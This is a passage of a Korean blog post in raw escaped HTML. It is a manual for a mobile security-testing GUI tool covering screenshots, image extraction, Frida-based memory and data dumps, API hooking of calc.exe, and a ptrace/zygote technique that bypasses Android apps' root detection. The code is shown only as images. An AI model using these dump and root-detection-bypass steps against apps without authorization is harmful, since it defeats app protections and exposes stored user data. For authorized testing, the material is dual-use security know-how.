srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990D704C5ACAE97033&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;13.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 10&amp;gt; 해시값 출력&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;b&gt;3.3. ScreenShot&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;DeviceList 버튼으로 Device를 선택하고 Default 또는 Resize(사이즈 직접 입력)로 Capture 버튼을 클릭 시 왼쪽에 Capture된 화면이 출력됩니다.&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993687475ACAE65C1B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993687475ACAE65C1B&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;15.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 11&amp;gt; 화면 Capture 시도&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;Capture가 완료되면 ScreenShot&amp;nbsp;폴더에&amp;nbsp;image_[i].jpg로 이미지 파일이&amp;nbsp;생성됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998E04485AC750C60D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998E04485AC750C60D&quot; width=&quot;570&quot; height=&quot;313&quot; filename=&quot;16.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 12&amp;gt; 이미지 파일 생성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;b&gt;3.4. FileExtract&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;FileOpen 또는 DirectoryOpen으로 Extract할 파일 또는 디렉터리를 선택하고 Extract 버튼 클릭 시 이미지가 추출됩니다.&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C86A475ACAE98C38&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C86A475ACAE98C38&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;18.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 13&amp;gt; 이미지 추출&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;이미지 추출이 완료되면 Extract_File/Extract_Output/[파일명 or 폴더명]으로&amp;nbsp;폴더에&amp;nbsp;추출된&amp;nbsp;이미지 파일이&amp;nbsp;생성됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9933024D5ACAEA9909&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9933024D5ACAEA9909&quot; width=&quot;570&quot; height=&quot;313&quot; filename=&quot;19.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 14&amp;gt; 추출된 이미지 파일 생성&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;b&gt;3.5. MemoryDump&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; FridaServer Start 버튼으로 실행 안될 경우&amp;nbsp;루팅된 폰에 ADB Shell[2000] 권한 획득이 안되서 그러는 겁니다.&amp;nbsp; FridaServer Start&amp;nbsp;버튼 연타로 계속 누르면 루팅된 폰에서 ADB Shell[2000] 권한 요청이 나오고 실행하면 잘 됩니다.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;만약 잘 안될 경우는 CMD Usage Manual 클릭하시고 메뉴얼을 참조해서 adb로 직접 실행해주시면 잘 작동합니다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;DeviceList 버튼으로 Device를 선택하고 FridaServer Install &amp;amp; Start로 Frida를 실행합니다.&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9927C9455ACAE6A20E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9927C9455ACAE6A20E&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;24.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 15&amp;gt; FridaServer Install &amp;amp; Start&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;ProcessList 버튼을 클릭하여 현재 실행중인 Process를 선택하고 Memory Dump 버튼 클릭합니다.&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990F55485ACAE9BC26&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990F55485ACAE9BC26&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;25.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 16&amp;gt; 실행중인 프로세스 Memory Dump&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;Memory Dump가&amp;nbsp;완료되면 Dump/Memory_Dump/[Process명]&amp;nbsp;폴더에&amp;nbsp;추출된&amp;nbsp;dump&amp;nbsp;파일과 string.txt 파일이&amp;nbsp;생성됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9933644E5ACAE9D50A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9933644E5ACAE9D50A&quot; width=&quot;570&quot; height=&quot;313&quot; filename=&quot;22.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 17&amp;gt; 추출된 dump 및 string&amp;nbsp;파일 생성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;strings.txt 파일에는 Dump 파일들의 string 값이 저장되어 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9912B8445ACAE9E408&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9912B8445ACAE9E408&quot; width=&quot;570&quot; height=&quot;273&quot; filename=&quot;26.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 18&amp;gt; 추출된 이미지 파일 생성&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;위와 동일한 방법으로 Data Dump 클릭 시 data/data/[프로세스명]에 저장되어있는 파일을 추출합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991A8A4D5ACAE9F807&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991A8A4D5ACAE9F807&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;27.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 19&amp;gt; 실행중인 프로세스 Data&amp;nbsp;Dump&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;Data Dump가 완료되면 추출된 파일은 Dump/Data_Dump/[Process명]&amp;nbsp;폴더에&amp;nbsp;저장됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996EE0495ACAEA060D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996EE0495ACAEA060D&quot; width=&quot;570&quot; height=&quot;313&quot; filename=&quot;29.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 20&amp;gt; 추출된 dump 파일 생성&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;b&gt;3.6. FunctionHook&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; 아래 내용은 Windows 계산기로 후킹한 이미지들 입니다. 하지만 동일한 방법으로&amp;nbsp;Mobile 옵션을 선택하고&amp;nbsp;Android_testhook.js,&amp;nbsp;iOS_testhook.js&amp;nbsp; 파일 이용 시 Mobile API&amp;nbsp;Hooking이 가능합니다. 샘플코드를 확인하시면 됩니다. 자세한 내용은 생략하겠습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Windows 옵션을 선택하고 ProcessList으로 실행중인 clac.exe 프로세스를 확인합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9984E74E5ACAE6EB34&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9984E74E5ACAE6EB34&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;36.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 21&amp;gt; Windows 옵션으로 실행중인 calc.exe 프로세스 확인&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;JsFileOpen으로 Lib/hookcode에 저장되어있는 window_testkook.js Sample 코드를 선택합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D0F3425ACAE70322&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D0F3425ACAE70322&quot; width=&quot;570&quot; height=&quot;498&quot; filename=&quot;37.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 22&amp;gt; window_testhook.js 파일 선택&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;window_testhook.js 소스코드는 아래와 같고 USER32.DLL에 존재하는 SetWindowTextW API를 Hooking해서 출력해주는 코드입니다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EBB03A5AC75E7F2F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EBB03A5AC75E7F2F&quot; width=&quot;570&quot; height=&quot;334&quot; filename=&quot;35.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 23&amp;gt; window_testhook.js 소스코드&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;js파일과 실행중인 calc.exe process를 선택하고 Hooking Start 버튼을 클릭합니다.&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991B4D485ACAE71C2C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991B4D485ACAE71C2C&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;38.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 24&amp;gt; calc.exe Hooking Start&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;계산기에 숫자 입력 시 Hooking되어 콘솔에 출력됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993E7F4C5ACAE73021&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993E7F4C5ACAE73021&quot; width=&quot;570&quot; height=&quot;372&quot; filename=&quot;32.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 25&amp;gt; calc.exe Hooking 콘솔 출력&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3.7. RootingBypass&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; 기본 원리는 ptrace로 zygote에 접근 후 zygote로 target 프로세스에 attach하고 syscall을 변조하여 Rooting Bypass 합니다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;* 이 기능을 실행할 때 잘 안될 경우는 아래와 같습니다.&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;- ptrace가 정상적으로 초기화되지 않을&amp;nbsp;경우 (종료할 때 Ctrl+C 꼭 눌려주세요.)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;- ptrace가 다중의 detect_pid를 가지는 경우 (종료했다가 여러번 시도해보시길 바랍니다.)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;- 계속 문제가 발생할 경우 진단 루팅 단말기를 다시 시작하면 process가 초기화되어서 잘&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;작동합니다..&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;아무래도 좀 다루기 힘든 ptrace로 작성되었기 때문에 잔잔 문제가 많이 발생할 수 있습니다. 추 후 계속 업데이트 예정입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;RootingBypass는 C언어 기반으로 만들었으며 http://teamcrak.tistory.com/378에서 사용한 기법을 이용해서 구현하였습니다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998E344F5AC768512D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998E344F5AC768512D&quot; width=&quot;570&quot; height=&quot;518&quot; filename=&quot;44.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 26&amp;gt; RootingBypass 소스코드&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;FridaServer를 실행하지 않았다면&amp;nbsp;시작전에 MemoryDump Tab으로 이동하여 FridaServer를 실행해줍니다.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A9F14B5ACAE74924&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A9F14B5ACAE74924&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;47.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 27&amp;gt; FridaServer Start&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;루팅된 단말기에 RootingBypass 바이너리를 설치합니다. (/data/local/tmp/에 설치됩니다.)&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A032495ACAE76B29&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A032495ACAE76B29&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;40.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 28&amp;gt; RootingBypass Install&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;루팅을 우회할 프로세스를 선택하고 RootingBypass Start 버튼을 클릭합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C706445ACAE7822F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C706445ACAE7822F&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;41.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 29&amp;gt; RootingBypass Start&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;루팅이 우회되는 과정입니다. (종료할때는 